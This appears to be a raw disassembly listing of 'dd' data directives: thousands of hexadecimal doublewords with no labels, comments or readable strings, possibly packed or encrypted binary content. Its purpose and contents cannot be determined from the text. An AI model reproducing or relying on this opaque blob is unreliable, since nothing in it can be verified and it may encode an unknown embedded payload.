dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h, 3A50577Eh
dd 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h, 0AF0E026h
dd 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h, 0B79BE40h
dd 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh
dd 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh
dd 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h, 5ABC3Eh
dd 0C031B244h, 154C966h, 428F1E50h, 0DD105180h, 8BD2F80Fh
dd 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh, 3916D7D8h
dd 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh
dd 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h
dd 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh
dd 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h
dd 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh
dd 1B1CC7FAh, 88508043h, 62070414h, 84135640h, 0DDD21B1h
dd 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h, 0CD7C8B00h
dd 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh
dd 788977h, 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h
dd 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh
dd 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh
dd 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h, 6BF04500h
dd 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h
dd 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh
dd 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h
dd 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h
dd 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h
dd 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h, 80F7760Fh
dd 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h, 0C131A990h
dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h
dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
dd 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h, 1489313h
dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h
dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h
dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h
dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh
dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
dd 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h
dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h
dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah
dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh
dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
dd 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh
dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h
dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh
dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh
dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h
dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h
dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h
dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh
dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h
dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh
dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h
dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh
dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh
dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h
dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h
dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h
dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h
dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh
dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h
dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh
dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h
dd 0FA1EBB60h
dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h
dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h
dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h
dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh
dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h
dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh
dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h
dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah
dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h
dd 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah
dd 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah, 53A05755h
dd 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h
dd 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h, 39FD0004h
dd 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh
dd 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah
dd 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h
dd 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h
dd 3854491Ch, 86E97282h, 92836048h, 0C0070020h, 5C742C7Fh
dd 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh, 483D1ECFh
dd 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h, 52E130E7h
dd 43963D00h, 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh
dd 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h, 1E2A40C8h
dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
dd 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh
dd 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h
dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h
dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h
dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h
dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h
dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h
dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
dd 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h
dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h, 417E1D05h
dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
dd 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h
dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
dd 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah
dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h
dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
dd 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h
dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh
dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h
dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh
dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh
dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h
dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
dd 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h
dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h
dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh
dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h
dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh
dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h
dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh, 0C05857DCh
dd 277007Ch, 5213C201h
dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h
dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h
dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh
dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h
dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h
dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh
dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h
dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h
dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h
dd 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h
dd 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah
dd 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h, 0FF314390h
dd 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h
dd 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh, 0AE0790FCh
dd 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h
dd 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h, 455DB2CAh
dd 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h, 1347E95Bh
dd 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch
dd 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh
dd 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h
dd 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh
dd 10584960h, 0D1350096h, 590CD722h, 50009A20h, 32125B3Bh
dd 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh
dd 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h
dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh
dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
dd 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h
dd 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh
dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h
dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h
dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h
dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h
dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h
dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah
dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h
dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h
dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
dd 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h
dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h
dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h
dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h
dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h, 3B74A607h
dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh
dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
dd 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h
dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h
dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
